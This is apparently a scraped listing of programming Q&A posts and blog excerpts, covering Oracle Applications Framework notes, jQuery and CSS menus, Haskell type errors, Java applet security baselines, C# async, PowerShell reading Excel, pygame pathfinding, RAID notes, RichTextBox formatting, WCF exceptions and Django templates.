MDS XML file, almost everything else is merely deployed to your mid-tier. Usually this is underneath $JAVA_TOP/oracle/apps/../.. All java files will go underneath java top/oracle/apps/../.. etc. Note 4 When building tutorial, ignore the steps for setting "Attribute Sets". These are not mandatory. Oracle might just have developed their tutorials without including these. Think of these like Visual Attributes of D2K forms Note 5 Controller is where you will write any java code in OA Framework. You can create a Controller per Page or have a different Controller for each of the Regions with the same Page. Note 6 In the method processFormRequest of the Controller, you can access the values of the page by using notation pageContext.getParameter("<fieldname here>"). This method processFormRequest is executed when the OAF Screen/Page is submitted by click of a button. Note 7 Inside the controller, all the Database Related interactions for example interaction with View Objects happen via Application Module. But why so? Because Application Module Manages the transaction state of the Application. OAApplicationModuleImpl oaapplicationmoduleimpl = OAApplicationModuleImpl)oapagecontext.getApplicationModule(oawebbean); OADBTransaction oadbtransaction = OADBTransaction)oaapplicationmoduleimpl.getDBTransaction(); Note 8 In D2K, we have control block or a block based on database view. Similarly, in OA Framework, if the field does not have view Object attached, then it is like a control field. Hence in HelloWorld example, field HelloName is a control field [in D2K terminology]. A view Object can either be based on a view/table, synonym or on a SQL statement. Note 9 I wish to access the fields in multi record block that is based on view Object. Can I do this in Controller? Sure you can. To traverse through those records, do the below ·         Get the reference to the View Object using (OAViewObject)oapagecontext.getApplicationModule(oawebbean).findViewObject("VO Name Here") ·         Loop through the records in View Objects using count returned from oaviewobject.getFetchedRowCount() ·         For each record, fetch the value of the fields within the loop as oracle.jbo.Row row = oaviewobject.getRowAtRangeIndex(loop index here); (String)row.getAttribute("Column name of VO here ");

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  • CSS Menu loses focus when part of jquery hover()

    - by Steve Syfuhs
    I have the following html (viewable at www.communityftw.com) <table width="100%"> <tr> <td style="text-align: left"> <!-- 2008.3.1314.35 --><span id="headerSearch1_sb_form_q_wrapper" class="RadInput_Default" style="white-space:nowrap;"><input value="language..." type="text" size="20" id="headerSearch1_sb_form_q_text" name="headerSearch1_sb_form_q_text" class="riTextBox riEmpty sw_qboxTop" name="q" style="width:140px;" /><input id="headerSearch1_sb_form_q" name="ctl00$headerSearch1$sb_form_q" class="rdfd_" style="visibility:hidden;margin:-18px 0 0 0;width:1px;height:1px;overflow:hidden;border:0;padding:0;" type="text" value="" /><input id="headerSearch1_sb_form_q_ClientState" name="headerSearch1_sb_form_q_ClientState" type="hidden" /></span> <input type="submit" name="ctl00$headerSearch1$sb_form_go" value="" id="headerSearch1_sb_form_go" class="sw_qbtnTop" /> </td> <td style="text-align: left"> <ul id="menu"> <li class="languageContainer"> <div> <a href="#" id="languageField"> <img src="/images/flags/ca.png" alt="Canada" /> Canada (English)</a> </div> <ul id="language"> <li><a href="#" id="A1"> <img src="/images/flags/ca.png" alt="Canada" /> Canada (French)</a> </li> <li><a href="#" id="A2"> <img src="/images/flags/us.png" alt="United States" /> United States</a> </li> <li><a href="#" id="A3"> <img src="/images/flags/de.png" alt="Germany" /> Germany</a> </li> <li><a href="#" id="A4"> <img src="/images/flags/fr.png" alt="France" /> France</a> </li> <li><a href="#" id="A5"> <img src="/images/flags/ru.png" alt="Russia" /> Russia</a> </li> <li class="last"> <img alt="" src="images/langLocDrop_r4_c1.png" /> </li> </ul> </li> </ul> </td> </tr> </table> Javascript/jquery $('#slide').animate({ top: '-=34' }, 1000); $("#slide").hover(function () { $(this).animate({ top: '+=34' }); }, function () { $(this).animate({ top: '-=34' }); }); menu { margin: 0px; padding: 0px; list-style: none; display: inline-block; float: left; z-index: 1000; } menu a { color: #dc2525; text-decoration: none; } menu li { background: none repeat scroll 0 0; cursor: pointer; float: left; position: relative; } menu li a:hover { color: orange; } menu ul { padding: 0px; margin: 0px; display: block; display: inline; } menu li ul { position: absolute; left: -15px; top: 0px; margin-top: 20px; width: 170px; line-height: 16px; background-image: url(/images/langLocDrop_r2_c1.png); display: none; } menu li:hover ul { display: block; } menu li ul li { display: block; margin: 5px 20px; padding: 5px 0px; border-top: dotted 1px #606060; list-style-type: none; } menu li ul li:first-child { border-top: none; } menu li ul li a { display: block; } menu li ul li a:hover { color: orange; } .languageContainer div { display: inline; padding: 5px; } languageField img { display: inline; vertical-align: middle; } language img { display: inline; } menu .last { background: transparent none repeat scroll 0% 0%; margin: 0px; padding: 0px; border: none; position: relative; border: none; height: 0px; } What I'm trying to do is have a menu mostly hidden at the top except when you mouse over it, and then have a submenu (just css driven) pop out when you mouse over the language. What is happening though is that when I move onto the language list, and I go past Germany (~50% down the list?), the hover() loses focus and closes the original menu, which closes the language menu. Any idea's what is causing the issue? Any ideas how to fix the issue? I have tried the hoverIntent() plugin as well to no avail.

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  • jQuery featured content slider

    - by azz0r
    Hello, I have a content area that loops through divs and shows there content. I'm having trouble making it display the initial content, unfortunately it waits 5000 milliseconds before triggering the very first content area to display. Anyone spot an easy way to make it display the initial area, then slide to the next area and do them at 5000 milliseconds. JS Model.FeatureBar = { current:0, items:{}, init: function init(options){ var me = this; me.triggers = [] me.slides = [] this.container = jQuery('#features'); jQuery('.feature').each(function(i){ me.triggers[i] = {url: jQuery(this).children('.feature-title a').href, title: jQuery(this).children('.feature-title'),description:jQuery(this).children('.feature-description')} me.slides[i] = {image: jQuery(this).children('.feature-image')} }); for(var i in this.slides){ this.slides[i].image.hide(); this.triggers[i].description.hide(); } setInterval(function(){Model.FeatureBar.next()},5000); }, next: function next(){ var i = (this.current+1 < this.triggers.length) ? this.current+1 : 0; this.goToItem(i); }, previous: function previous(){ var i = (this.current-1 > 1) ? this.current-1 : this.triggers.length; this.goToItem(i); }, goToItem: function goToItem(i){ if(!this.slides[i]) throw 'Slide out of range'; this.triggers[this.current].description.slideUp(); this.triggers[i].description.slideDown(); this.slides[this.current].image.hide(); this.slides[i].image.show(); this.current = i; }, } html <div id="features"> <div class="feature current"> <div class="movie-cover"> <a href="/police/movie"><img title="" alt="" src="/design/images/four-oh-four.png"></a> </div> <div class="feature-image" style="display: none;"> <img src="/design/images/four-oh-four.png"> </div> <h2 class="feature-title"><a href="/police/movie">Police</a></h2> <p class="feature-description" style="overflow: hidden; display: block; height: 50.8604px; margin-top: 0px; margin-bottom: 0px; padding-top: 0px; padding-bottom: 0px;">DESCRIPTION</p> </div> <div class="feature"> <div class="movie-cover"> <a href="/rude/movie"><img title="" alt="" src="/design/images/four-oh-four.png"></a> </div> <div class="feature-image" style="display: none;"> <img src="/design/images/four-oh-four.png"> </div> <h2 class="feature-title"><a href="/rude/movie">Rude</a></h2> <p class="feature-description" style="overflow: hidden; display: block; height: 18.3475px; margin-top: 0px; margin-bottom: 0px; padding-top: 0px; padding-bottom: 0px;">DESCRIPTION</p> </div> <div class="feature"> <div class="movie-cover"> <a href="/brits/movie"><img title="" alt="" src="/design/images/four-oh-four.png"></a> </div> <div class="feature-image" style="display: block;"> <img src="/design/images/four-oh-four.png"> </div> <h2 class="feature-title"><a href="/brits/movie">Brits</a></h2> <p class="feature-description" style="overflow: hidden; display: block; height: 40.1549px; margin-top: 0px; margin-bottom: 0px; padding-top: 0px; padding-bottom: 0px;">DESCRIPTION</p> </div> <div class="feature"> <div class="movie-cover"> <a href="/indie/movie"><img title="" alt="" src="/design/images/four-oh-four.png"></a> </div> <div class="feature-image" style="display: none;"> <img src="/design/images/four-oh-four.png"> </div> <h2 class="feature-title"><a href="/indie/movie">Indie</a></h2> <p class="feature-description" style="overflow: hidden; display: block; height: 42.4247px; margin-top: 0px; margin-bottom: 0px; padding-top: 0px; padding-bottom: 0px;">DESCRIPTION</p> </div>

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  • Help for CSS Menu Dropdown, FF OK and IE6 Problem

    - by Taruhku
    IE Problem, FF OK. Please help..???? Screen Shoot problem click here This is my CSS dolphincontainer { position:relative; height:56px; color:#E0E0E0; background:#143D55; width:100%; font-family:Tahoma; left: 0px; } dolphinnav {position:absolute;;height:33px;font-size:12px;font-weight:bold;background:#fff url(images/dolphin_bg.gif) repeat-x bottom left;padding:0 0 0 10px;width:975px;} dolphinnav ul {margin:0;padding:0;list-style-type:none;width:auto;float:left;} dolphinnav ul li {display:block;float:left;margin:0 1px;} dolphinnav ul li a {display:block;float:left;color:#001b2c;text-decoration:none;padding:0 0 0 10px;height:33px;} dolphinnav ul li a span {padding:12px 20px 0 0;height:21px;float:left;font-weight:bold;} dolphinnav ul li a:hover {color:#fff;background:transparent url(images/dolphin_bg-OVER.gif) repeat-x bottom left;} dolphinnav ul li a:hover span {display:block;width:auto;cursor:pointer;} dolphinnav ul li a.current,#dolphinnav ul li a.current:hover {color:#fff;background:#00517e url(images/dolphin_left-ON.gif) no-repeat top left;line-height:275%;} dolphinnav ul li a.current span {display:block;padding:0 20px 0 0;width:auto;background:#00517e url(images/dolphin_right-ON.gif) no-repeat top right;height:33px;} .tuckUp { display:block; width:90px; height:30px; overflow:hidden; cursor:pointer; } .pullDown { width:90px; height:56px; } .item a:link, .item a:visited { display:inline; float:left; background:#fff url(images/dolphin_bg.gif) repeat-x top left;padding:0 0 0 10px; text-align:left; color:#444; font-size:11px; font-weight:bold; text-decoration:none; line-height:25px; margin:0 5px 0px 0px; width:80px; } .item a:hover { display:inline; float:left; background:#39c; color:#FFF; text-decoration:none; text-align:left; font-size:11px; font-weight:700; font-weight:bold; line-height:25px; padding:0 0 0 10px; margin:0 5px 0px 0px; width:80px; } HTML: <div id="dolphincontainer"> <div id="dolphinnav"> <ul> <li><a href="index.php"><span>Home</span></a></li> <li><a href="chooseus.php"><span>Why Choose Us</span></a></li> <li><a href="peraturan.php"><span>Rules</span></a></li> <li class="tuckUp" onmousemove="this.className='pullDown'" onmouseout="this.className='tuckUp'"><a href="#"><span>Transaction</span></a> <div class="item"> <a href="drop1.php">Drop Down 1</a><br /> <a href="drop2.php">Drop Down 2</a></a><br /> <a href="drop3.php">Drop Down 3</a><br /> </div> </li> <li><a href="download.php"><span>Download</span></a></li> <li><a href="aboutus.php"><span>About Us</span></a></li> <li><a href="help.php" class="current"><span>Support</span></a></li> <li><a href="promo.php"><span><font color="#FF0000"><blink>PROMO</blink> </font></span></a></li> </ul> </div> </div>

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  • Couldn't match expected type - Haskell Code

    - by wvyar
    I'm trying to learn Haskell, but the small bit of sample code I tried to write is running into a fairly large amount of "Couldn't match expected type" errors. Can anyone give me some guidance as to what I'm doing wrong/how I should go about this? These are the errors, but I'm not really sure how I should be writing my code. toDoSchedulerSimple.hs:6:14: Couldn't match expected type `[t0]' with actual type `IO String' In the return type of a call of `readFile' In a stmt of a 'do' block: f <- readFile inFile In the expression: do { f <- readFile inFile; lines f } toDoSchedulerSimple.hs:27:9: Couldn't match expected type `[a0]' with actual type `IO ()' In the return type of a call of `putStr' In a stmt of a 'do' block: putStr "Enter task name: " In the expression: do { putStr "Enter task name: "; task <- getLine; return inFileArray : task } toDoSchedulerSimple.hs:34:9: Couldn't match expected type `IO ()' with actual type `[a0]' In a stmt of a 'do' block: putStrLn "Your task is: " ++ (inFileArray !! i) In the expression: do { i <- randomRIO (0, (length inFileArray - 1)); putStrLn "Your task is: " ++ (inFileArray !! i) } In an equation for `getTask': getTask inFileArray = do { i <- randomRIO (0, (length inFileArray - 1)); putStrLn "Your task is: " ++ (inFileArray !! i) } toDoSchedulerSimple.hs:41:9: Couldn't match expected type `[a0]' with actual type `IO ()' In the return type of a call of `putStr' In a stmt of a 'do' block: putStr "Enter the task you would like to end: " In the expression: do { putStr "Enter the task you would like to end: "; task <- getLine; filter (endTaskCheck task) inFileArray } toDoSchedulerSimple.hs:60:53: Couldn't match expected type `IO ()' with actual type `[String] -> IO ()' In a stmt of a 'do' block: schedulerSimpleMain In the expression: do { (getTask inFileArray); schedulerSimpleMain } In a case alternative: "get-task" -> do { (getTask inFileArray); schedulerSimpleMain } This is the code itself. I think it's fairly straightforward, but the idea is to run a loop, take input, and perform actions based off of it by calling other functions. import System.Random (randomRIO) import Data.List (lines) initializeFile :: [char] -> [String] initializeFile inFile = do f <- readFile inFile let parsedFile = lines f return parsedFile displayHelp :: IO() displayHelp = do putStrLn "Welcome to To Do Scheduler Simple, written in Haskell." putStrLn "Here are some commands you might find useful:" putStrLn " 'help' : Display this menu." putStrLn " 'quit' : Exit the program." putStrLn " 'new-task' : Create a new task." putStrLn " 'get-task' : Randomly select a task." putStrLn " 'end-task' : Mark a task as finished." putStrLn " 'view-tasks' : View all of your tasks." quit :: IO() quit = do putStrLn "We're very sad to see you go...:(" putStrLn "Come back soon!" createTask :: [String] -> [String] createTask inFileArray = do putStr "Enter task name: " task <- getLine return inFileArray:task getTask :: [String] -> IO() getTask inFileArray = do i <- randomRIO (0, (length inFileArray - 1)) putStrLn "Your task is: " ++ (inFileArray !! i) endTaskCheck :: String -> String -> Bool endTaskCheck str1 str2 = str1 /= str2 endTask :: [String] -> [String] endTask inFileArray = do putStr "Enter the task you would like to end: " task <- getLine return filter (endTaskCheck task) inFileArray viewTasks :: [String] -> IO() viewTasks inFileArray = case inFileArray of [] -> do putStrLn "\nEnd of tasks." _ -> do putStrLn (head inFileArray) viewTasks (tail inFileArray) schedulerSimpleMain :: [String] -> IO() schedulerSimpleMain inFileArray = do putStr "SchedulerSimple> " input <- getLine case input of "help" -> displayHelp "quit" -> quit "new-task" -> schedulerSimpleMain (createTask inFileArray) "get-task" -> do (getTask inFileArray); schedulerSimpleMain "end-task" -> schedulerSimpleMain (endTask inFileArray) "view-tasks" -> do (viewTasks inFileArray); schedulerSimpleMain _ -> do putStrLn "Invalid input."; schedulerSimpleMain main :: IO() main = do putStr "What is the name of the schedule? " sName <- getLine schedulerSimpleMain (initializeFile sName) Thanks, and apologies if this isn't the correct place to be asking such a question.

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  • Updated Security Baseline (7u45) impacts Java 7u40 and before with High Security settings

    - by costlow
    The Java Security Baseline has been increased from 7u25 to 7u45.  For versions of Java below 7u45, this means unsigned Java applets or Java applets that depend on Javascript LiveConnect calls will be blocked when using the High Security setting in the Java Control Panel. This issue only affects Applets and Web Start applications. It does not affect other types of Java applications. The Short Answer Users upgrading to Java 7 update 45 will automatically fix this and is strongly recommended. The More Detailed Answer There are two items involved as described on the deployment flowchart: The Security Baseline – a dynamically updated attribute that checks to see which Java version contains the most recent security patches. The Security Slider – the user-controlled setting of when to prompt/run/block applets. The Security Baseline Java clients periodically check in to understand what version contains the most recent security patches. Versions are released in-between that contain bug fixes. For example: 7u25 (July 2013) was the previous secure baseline. 7u40 contained bug fixes. Because this did not contain security patches, users were not required to upgrade and were welcome to remain on 7u25. When 7u45 was released (October, 2013), this critical patch update contained security patches and raised the secure baseline. Users are required to upgrade from earlier versions. For users that are not regularly connected to the internet, there is a built in Expiration Date. Because of the pre-established quarterly critical patch updates, we are able to determine an approximate date of the next version. A critical patch released in July will have its successor released, at latest, in July + 3 months: October. The Security Slider The security slider is located within the Java control panel and determines which Applets & Web Start applications will prompt, which will run, and which will be blocked. One of the questions used to determine prompt/run/block is, “At or Above the Security Baseline.” The Combination JavaScript calls made from LiveConnect do not reside within signed JAR files, so they are considered to be unsigned code. This is correct within networked systems even if the domain uses HTTPS because signed JAR files represent signed "data at rest" whereas TLS (often called SSL) literally stands for "Transport Level Security" and secures the communication channel, not the contents/code within the channel. The resulting flow of users who click "update later" is: Is the browser plug-in registered and allowed to run? Yes. Does a rule exist for this RIA? No rules apply. Does the RIA have a valid signature? Yes and not revoked. Which security prompt is needed? JRE is below the baseline. This is because 7u45 is the baseline and the user, clicked "upgrade later." Under the default High setting, Unsigned code is set to "Don’t Run" so users see: Additional Notes End Users can control their own security slider within the control panel. System Administrators can customize the security slider during automated installations. As a reminder, in the future, Java 7u51 (January 2014) will block unsigned and self-signed Applets & Web Start applications by default.

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  • C# 5 Async, Part 2: Asynchrony Today

    - by Reed
    The .NET Framework has always supported asynchronous operations.  However, different mechanisms for supporting exist throughout the framework.  While there are at least three separate asynchronous patterns used through the framework, only the latest is directly usable with the new Visual Studio Async CTP.  Before delving into details on the new features, I will talk about existing asynchronous code, and demonstrate how to adapt it for use with the new pattern. The first asynchronous pattern used in the .NET framework was the Asynchronous Programming Model (APM).  This pattern was based around callbacks.  A method is used to start the operation.  It typically is named as BeginSomeOperation.  This method is passed a callback defined as an AsyncCallback, and returns an object that implements IAsyncResult.  Later, the IAsyncResult is used in a call to a method named EndSomeOperation, which blocks until completion and returns the value normally directly returned from the synchronous version of the operation.  Often, the EndSomeOperation call would be called from the callback function passed, which allows you to write code that never blocks. While this pattern works perfectly to prevent blocking, it can make quite confusing code, and be difficult to implement.  For example, the sample code provided for FileStream’s BeginRead/EndRead methods is not simple to understand.  In addition, implementing your own asynchronous methods requires creating an entire class just to implement the IAsyncResult. Given the complexity of the APM, other options have been introduced in later versions of the framework.  The next major pattern introduced was the Event-based Asynchronous Pattern (EAP).  This provides a simpler pattern for asynchronous operations.  It works by providing a method typically named SomeOperationAsync, which signals its completion via an event typically named SomeOperationCompleted. The EAP provides a simpler model for asynchronous programming.  It is much easier to understand and use, and far simpler to implement.  Instead of requiring a custom class and callbacks, the standard event mechanism in C# is used directly.  For example, the WebClient class uses this extensively.  A method is used, such as DownloadDataAsync, and the results are returned via the DownloadDataCompleted event. While the EAP is far simpler to understand and use than the APM, it is still not ideal.  By separating your code into method calls and event handlers, the logic of your program gets more complex.  It also typically loses the ability to block until the result is received, which is often useful.  Blocking often requires writing the code to block by hand, which is error prone and adds complexity. As a result, .NET 4 introduced a third major pattern for asynchronous programming.  The Task<T> class introduced a new, simpler concept for asynchrony.  Task and Task<T> effectively represent an operation that will complete at some point in the future.  This is a perfect model for thinking about asynchronous code, and is the preferred model for all new code going forward.  Task and Task<T> provide all of the advantages of both the APM and the EAP models – you have the ability to block on results (via Task.Wait() or Task<T>.Result), and you can stay completely asynchronous via the use of Task Continuations.  In addition, the Task class provides a new model for task composition and error and cancelation handling.  This is a far superior option to the previous asynchronous patterns. The Visual Studio Async CTP extends the Task based asynchronous model, allowing it to be used in a much simpler manner.  However, it requires the use of Task and Task<T> for all operations.

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  • PowerShell: Read Excel to Create Inserts

    - by BuckWoody
    I’m writing a series of articles on how to migrate “departmental” data into SQL Server. I also hold workshops on the entire process – from discovering that the data exists to the modeling process and then how to design the Extract, Transform and Load (ETL) process. Finally I write about (and teach) a few methods on actually moving the data. One of those options is to use PowerShell. There are a lot of ways even with that choice, but the one I show is to read two columns from the spreadsheet and output statements that would insert the data using a stored procedure. Of course, you could re-write this as INSERT statements, out to a text file for bcp, or even use a database connection in the script to move the data directly from Excel into SQL Server. This snippet won’t run on your system, of course – it assumes a Microsoft Office Excel 2007 spreadsheet located at c:\temp called VendorList.xlsx. It looks for a tab in that spreadsheet called Vendors. The statement that does the writing just uses one column: Vendor Code. Here’s the breakdown of what I’m doing: In the first block, I connect to Microsoft Office Excel. That connection string is specific to Excel 2007, so if you need a different version you’ll need to look that up. In the second block I set up a selection from the entire spreadsheet based on that tab. Note that if you’re only after certain data you shouldn’t get the whole spreadsheet – that’s just good practice. In the next block I create the text I want, inserting the Vendor Code field as I go. Finally I close the connection. Enjoy! $ExcelConnection= New-Object -com "ADODB.Connection" $ExcelFile="c:\temp\VendorList.xlsx" $ExcelConnection.Open("Provider=Microsoft.ACE.OLEDB.12.0;` Data Source=$ExcelFile;Extended Properties=Excel 12.0;") $strQuery="Select * from [Vendors$]" $ExcelRecordSet=$ExcelConnection.Execute($strQuery) do { Write-Host "EXEC sp_InsertVendors '" $ExcelRecordSet.Fields.Item("Vendor Code").Value "'" $ExcelRecordSet.MoveNext()} Until ($ExcelRecordSet.EOF) $ExcelConnection.Close() Script Disclaimer, for people who need to be told this sort of thing: Never trust any script, including those that you find here, until you understand exactly what it does and how it will act on your systems. Always check the script on a test system or Virtual Machine, not a production system. All scripts on this site are performed by a professional stunt driver on a closed course. Your mileage may vary. Void where prohibited. Offer good for a limited time only. Keep out of reach of small children. Do not operate heavy machinery while using this script. If you experience blurry vision, indigestion or diarrhea during the operation of this script, see a physician immediately. Share this post: email it! | bookmark it! | digg it! | reddit! | kick it! | live it!

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  • what is the best way to use loops to detect events while the main loop is running?

    - by yao jiang
    I am making an "game" that has pathfinding using pygame. I am using Astar algo. I have a main loop which draws the whole map. In the loop I check for events. If user press "enter" or "space", random start and end are selected, then animation starts and it will try to get from start to end. My draw function is stupid as hell right now, it works as expected but I feel that I am doing it wrong. It'll draw everything to the end of the animation. I am also detecting events in there as well. What is a better way of implementing the draw function such that it will draw one "step" at a time while checking for events? animating = False; while loop: check events: if not animating: # space or enter press will choose random start/end coords if enter_pressed or space_pressed: start, end = choose_coords route = find_route(start, end) draw(start, end, grid, route) else: # left click == generate an event to block the path # right click == user can choose a new destination if left_mouse_click: gen_event() reroute() elif right_mouse_click: new_end = new_end() new_start = current_pos() route = find_route(new_start, new_end) draw(new_start, new_end, grid, route) # draw out the grid def draw(start, end, grid, route_coord): # draw the end coords color = red; pick_image(screen, color, width*end[1],height*end[0]); pygame.display.flip(); # then draw the rest of the route for i in range(len(route_coord)): # pausing because we want animation time.sleep(speed); # get the x/y coords x,y = route_coord[i]; event_on = False; if grid[x][y] == 2: color = green; elif grid[x][y] == 3: color = blue; for event in pygame.event.get(): if event.type == pygame.MOUSEBUTTONDOWN: if event.button == 3: print "destination change detected, rerouting"; # get mouse position, px coords pos = pygame.mouse.get_pos(); # get grid coord c = pos[0] // width; r = pos[1] // height; grid[r][c] = 4; end = [r, c]; elif event.button == 1: print "user generated event"; pos = pygame.mouse.get_pos(); # get grid coord c = pos[0] // width; r = pos[1] // height; # mark it as a block for now grid[r][c] = 1; event_on = True; if check_events([x,y]) or event_on: # there is an event # mark it as a block for now grid[y][x] = 1; pick_image(screen, event_x, width*y, height*x); pygame.display.flip(); # then find a new route new_start = route_coord[i-1]; marked_grid, route_coord = find_route(new_start, end, grid); draw(new_start, end, grid, route_coord); return; # just end draw here so it wont throw the "index out of range" error elif grid[x][y] == 4: color = red; pick_image(screen, color, width*y, height*x); pygame.display.flip(); # clear route coord list, otherwise itll just add more unwanted coords route_coord_list[:] = [];

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  • Organization &amp; Architecture UNISA Studies &ndash; Chap 6

    - by MarkPearl
    Learning Outcomes Discuss the physical characteristics of magnetic disks Describe how data is organized and accessed on a magnetic disk Discuss the parameters that play a role in the performance of magnetic disks Describe different optical memory devices Magnetic Disk The way data is stored on and retried from magnetic disks Data is recorded on and later retrieved form the disk via a conducting coil named the head (in many systems there are two heads) The writ mechanism exploits the fact that electricity flowing through a coil produces a magnetic field. Electric pulses are sent to the write head, and the resulting magnetic patterns are recorded on the surface below with different patterns for positive and negative currents The physical characteristics of a magnetic disk   Summarize from book   The factors that play a role in the performance of a disk Seek time – the time it takes to position the head at the track Rotational delay / latency – the time it takes for the beginning of the sector to reach the head Access time – the sum of the seek time and rotational delay Transfer time – the time it takes to transfer data RAID The rate of improvement in secondary storage performance has been considerably less than the rate for processors and main memory. Thus secondary storage has become a bit of a bottleneck. RAID works on the concept that if one disk can be pushed so far, additional gains in performance are to be had by using multiple parallel components. Points to note about RAID… RAID is a set of physical disk drives viewed by the operating system as a single logical drive Data is distributed across the physical drives of an array in a scheme known as striping Redundant disk capacity is used to store parity information, which guarantees data recoverability in case of a disk failure (not supported by RAID 0 or RAID 1) Interesting to note that the increase in the number of drives, increases the probability of failure. To compensate for this decreased reliability RAID makes use of stored parity information that enables the recovery of data lost due to a disk failure.   The RAID scheme consists of 7 levels…   Category Level Description Disks Required Data Availability Large I/O Data Transfer Capacity Small I/O Request Rate Striping 0 Non Redundant N Lower than single disk Very high Very high for both read and write Mirroring 1 Mirrored 2N Higher than RAID 2 – 5 but lower than RAID 6 Higher than single disk Up to twice that of a signle disk for read Parallel Access 2 Redundant via Hamming Code N + m Much higher than single disk Highest of all listed alternatives Approximately twice that of a single disk Parallel Access 3 Bit interleaved parity N + 1 Much higher than single disk Highest of all listed alternatives Approximately twice that of a single disk Independent Access 4 Block interleaved parity N + 1 Much higher than single disk Similar to RAID 0 for read, significantly lower than single disk for write Similar to RAID 0 for read, significantly lower than single disk for write Independent Access 5 Block interleaved parity N + 1 Much higher than single disk Similar to RAID 0 for read, lower than single disk for write Similar to RAID 0 for read, generally  lower than single disk for write Independent Access 6 Block interleaved parity N + 2 Highest of all listed alternatives Similar to RAID 0 for read; lower than RAID 5 for write Similar to RAID 0 for read, significantly lower than RAID 5  for write   Read page 215 – 221 for detailed explanation on RAID levels Optical Memory There are a variety of optical-disk systems available. Read through the table on page 222 – 223 Some of the devices include… CD CD-ROM CD-R CD-RW DVD DVD-R DVD-RW Blue-Ray DVD Magnetic Tape Most modern systems use serial recording – data is lade out as a sequence of bits along each track. The typical recording used in serial is referred to as serpentine recording. In this technique when data is being recorded, the first set of bits is recorded along the whole length of the tape. When the end of the tape is reached the heads are repostioned to record a new track, and the tape is again recorded on its whole length, this time in the opposite direction. That process continued back and forth until the tape is full. To increase speed, the read-write head is capable of reading and writing a number of adjacent tracks simultaneously. Data is still recorded serially along individual tracks, but blocks in sequence are stored on adjacent tracks as suggested. A tape drive is a sequential access device. Magnetic tape was the first kind of secondary memory. It is still widely used as the lowest-cost, slowest speed member of the memory hierarchy.

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  • Paragraph formatting in a WPF RichTextBox?

    - by David Veeneman
    I need to apply paragraph formatting to a selection in a rich text box. My RTB will behave the same way as the rich text boxes on StackOverflow--the user can type text into the RTB, but they can also enter code blocks. The RTB will apply very simple formatting to the code block--it will change the font and apply a background color to the entire block, similar to what you see in the code block below. Changing the font is pretty straightforward: var textRange = new TextRange(rtb.Selection.Start, rtb.Selection.End); textRange.ApplyPropertyValue(TextElement.FontFamilyProperty, "Consolas"); textRange.ApplyPropertyValue(TextElement.FontSizeProperty, 10D ); Now I need to apply some paragraph-level formatting. I need to set the paragraph margin to 0, so I don't get a blank line between code lines, and I need to set the paragraph background color. Here's my problem: I can't figure out how to get the paragraph elements from the selection, so that I can apply formatting. Any suggestions? An example of how to apply the Margin and Background properties would be incredibly helpful. Thanks!

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  • How do you load and save content from a Silverlight 4 RichTextBox control?

    - by AnthonyWJones
    I've been reviewing the features of the RichTextBox control in Silverlight 4. What I've yet to find is any examples of Loading and Saving content in the RichTextBox. Anyone come across any or can shed some light on it? The control has a BlocksCollection in which I guess one could use the XamlReader to load a bunch of markup assuming that markup has a single top level node of type Block. Then add that block to the Blocks collection. Seems a shame that the RichTextBox bothers to have a "collection" in this case, why not simply a top-level Block item? Never-the-less that still leaves saving the content of a RichTextBox, I have no idea where to begin with that one? I'm sure I must be missing the obvious here but unless loading and saving data in to and from RichTextBox is at least possible if not easy I can't see how we can actually put it to use. Edit Thanks to DaveB's answer I found discussion of something called the DocumentPersister. However no reference to this class can be found in the MSDN documentation nor can I find it in the installed dlls via object browser search. Anyone, anyone at all?

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  • FaultException<T>() exception thrown by the service is not caught by the client catch(FaultException

    - by Ashish Gupta
    Ok, I know I am missing something here. I have the following operation contract: public double DivideByZero(int x, int y) { if (y == 0) { throw new FaultException<ArgumentException> (new ArgumentException("Just some dummy exception") ,new FaultReason("some very bogus reason"), new FaultCode("007")); } return x / y; } And following is taken from the client:- Console.WriteLine("Enter the x value"); string x = Console.ReadLine(); Console.WriteLine("Enter the Y value"); string y = Console.ReadLine(); try { double val = client.DivideByZero(Convert.ToInt32(x), Convert.ToInt32(y)); Console.WriteLine("The result is " + val.ToString()); } catch(FaultException<ArgumentException> exp) { Console.WriteLine("An ArgumentException was thrown by the service "+ exp.ToString()); } catch (Exception exp) { Console.WriteLine(exp.ToString()); } In the above case catch(FaultException exp) (the first catch block with ArgumentException in the client code) block does not get executed. However, when I remove ArgumentException to have catch(FaultException exp), the same catch block gets executed. I am not sure about this as I am throwing FaultException from my operation contract. Am I missing anything here. Appreciate your help, Ashish

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  • Web Service Exception Handling

    - by SchlaWiener
    I have a Winforms app that consumes a C# Webservice. If the WebService throws an Exception my Client app always get's a SoapException instead of the "real" Exception. Here's a demo: [WebService(Namespace = "http://tempuri.org/")] [WebServiceBinding(ConformsTo = WsiProfiles.BasicProfile1_1)] [System.ComponentModel.ToolboxItem(false)] public class Service1 : System.Web.Services.WebService { [WebMethod] public string HelloWorld() { throw new IndexOutOfRangeException("just a demo exception"); } } Now, on the client side, I want to be able to handle different exceptions in a different way. try { ServiceReference1.Service1SoapClient client = new ServiceReference1.Service1SoapClient(); Button1.Text = client.HelloWorld(); } catch (IndexOutOfRangeException ex) { // I know how to handle IndexOutOfRangeException // but this block is never reached } catch (MyOwnException ex) { // I know how to handle MyOwnException // but this block is never reached } catch (System.ServiceModel.FaultException ex) { // I always end in this block } But that does not work because I always get a "System.ServiceModel.FaultException" and I can only figure out the "real" exception by parsing the Exception's message property: System.Web.Services.Protocols.SoapException: Server was unable to process request. ---> System.IndexOutOfRangeException: just a demo\n at SoapExceptionTest.Service1.Service1.HelloWorld() in ... --- End of inner exception stack trace --- Is there a way to make this work somehow?

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  • How to manage Javascript modules in django templates?

    - by John Mee
    Lets say we want a library of javascript-based pieces of functionality (I'm thinking jquery): For example: an ajax dialog a date picker a form validator a sliding menu bar an accordian thingy There are four pieces of code for each: some Python, CSS, JS, & HTML. What is the best way to arrange all these pieces so that: each javascript 'module' can be neatly reused by different views the four bits of code that make up the completed function stay together the css/js/html parts appear in their correct places in the response common dependencies between modules are not repeated (eg: a javascript file in common) x-------------- It would be nice if, or is there some way to ensure that, when called from a templatetag, the templates respected the {% block %} directives. Thus one could create a single template with a block each for CSS, HTML, and JS, in a single file. Invoke that via a templatetag which is called from the template of whichever view wants it. That make any sense. Can that be done some way already? My templatetag templates seem to ignore the {% block %} directives. x-------------- There's some very relevant gasbagging about putting such media in forms here http://docs.djangoproject.com/en/dev/topics/forms/media/ which probably apply to the form validator and date picker examples.

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  • Visual Studio 2008 Preprocessor wierdness

    - by Canacourse
